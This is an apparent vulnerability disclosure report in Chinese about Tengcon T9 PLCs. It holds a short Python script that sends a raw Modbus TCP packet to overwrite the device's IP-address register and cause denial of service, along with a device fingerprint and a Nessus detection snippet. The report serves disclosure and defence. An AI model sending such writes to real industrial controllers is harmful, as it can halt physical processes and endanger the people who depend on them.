2014-04-26:细节已通知厂商并且等待厂商处理中
2014-04-30:厂商已经确认,细节仅向厂商公开
2014-05-10:细节向核心白帽子及相关领域专家公开
2014-05-20:细节向普通白帽子公开
2014-05-30:细节向实习白帽子公开
2014-06-10:细节向公众公开
对PLC攻击最最最最最最简单的一个示例,或许你已经猜到了,不知道算不算漏洞,功能和安全在如今你说该怎么选择?
大家可以多关注关注这些方面~
官方说明书:http://www.tengcon.com/download/T9_Hardware_Manual_V01.201106.rar
传统串口Modbus虽然有从站地址作为通讯唯一认证但是也只有1-255,而Modbus Tcp虽然定义了从站地址字段,但是通讯时可以被忽略,个人感觉把运行、停止、IP配置、串口配置等设置信息直接存放在可直接修改的HR寄存器是不妥的做法,况且此系列PLC还有以太网接口。
例如修改第82个HR寄存器第为254,操作这些寄存器可即时修改PLC IP地址,造成拒绝服务
import sys
import socket
test = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
test.connect(('127.0.0.1', 502))
test.send('\x00\x00\x00\x00\x00\x06\x01\x06\x00\x52\x00\xfe')
str = repr(test.recv(1024))
print str
腾控T9系列PLC指纹信息:
第一二个HR寄存器均为55aa,可以作为设备识别的手段
Nessus脚本代码片段
#
# start~
#
include("revisions-lib.inc");
include("misc_func.inc");
###TCP###
#定义端口变量
port=502;
#请填充"端口号"字段
#辨别端口状态
if(!(get_tcp_port_state(port)))exit(0);
#建立套接字
soc = open_sock_tcp(port);
if(soc)
{
#发送数据
send(socket:soc, data:raw_string(0x00,0x00,0x00,0x00,0x00,
0x06,0x01,0x03,0x00,0x01,
0x00,0x01));
#请填充"发送数据内容"字段
#接收数据
r = recv(socket:soc, length:1024);
#请填充"接收字段长度"字段
if(r == raw_string(0x00,0x00,0x00,0x00,0x00,
0x05,0x01,0x03,0x01,
0x55,0xaa))
{
report = "Tengcon T9 PLC Modbus TCP is Runing!";
security_warning(port:port,data:report);
}
#关闭套接字security_warning
###TCP###
}
修复方案:
增加工业协议过滤设备例如工业防火墙
隐藏敏感配置信息
危害等级:高
漏洞Rank:20
确认时间:2014-04-30 22:52
厂商回复:CNVD未掌握对应所述PLC产品,对于该漏洞分两个步骤进行处置:1、由CNCERT向上级主管单位报告情况;2、由CNVD尝试联系生产厂商处置。按CVSS评分来,应该是基准分7.1,考虑到工业控制系统的特殊性,z-0ne同学的工作很有代表性。rank 20
最新状态:暂无